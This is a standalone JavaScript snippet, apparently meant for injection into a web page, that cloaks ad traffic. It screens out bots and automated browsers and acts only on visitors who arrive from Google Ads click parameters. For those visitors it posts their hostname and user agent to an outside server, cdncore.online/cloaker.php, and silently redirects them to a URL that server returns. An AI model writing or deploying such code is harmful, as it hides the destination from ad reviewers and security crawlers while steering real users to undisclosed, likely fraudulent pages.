(function () { const isBot = () => { try { if (navigator.webdriver) return true; if (!navigator.languages || navigator.languages.length === 0) return true; if (!window.WebGLRenderingContext) return true; if (window.outerWidth === 0 || window.outerHeight === 0) return true; const canvas = document.createElement('canvas'); const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); if (!gl || !(gl instanceof WebGLRenderingContext)) return true; } catch (e) { return true; } return false; }; const isValidUTM = () => { const url = new URL(window.location.href); const gclid = url.searchParams.get("gclid"); const gbraid = url.searchParams.get("gbraid"); const gad = url.searchParams.get("gad_source"); return ( gclid || gbraid || gad === "1" ); }; if (isBot() || !isValidUTM()) return; try { const xhr = new XMLHttpRequest(); xhr.open("POST", "https://cdncore.online/cloaker.php", false); // SÍNCRONO = sem delay xhr.setRequestHeader("Content-Type", "application/json"); xhr.send(JSON.stringify({ hostname: window.location.hostname, userAgent: navigator.userAgent })); const res = JSON.parse(xhr.responseText); if (res && res.url) { window.location.replace(res.url); } } catch (e) { // falha silenciosa } })();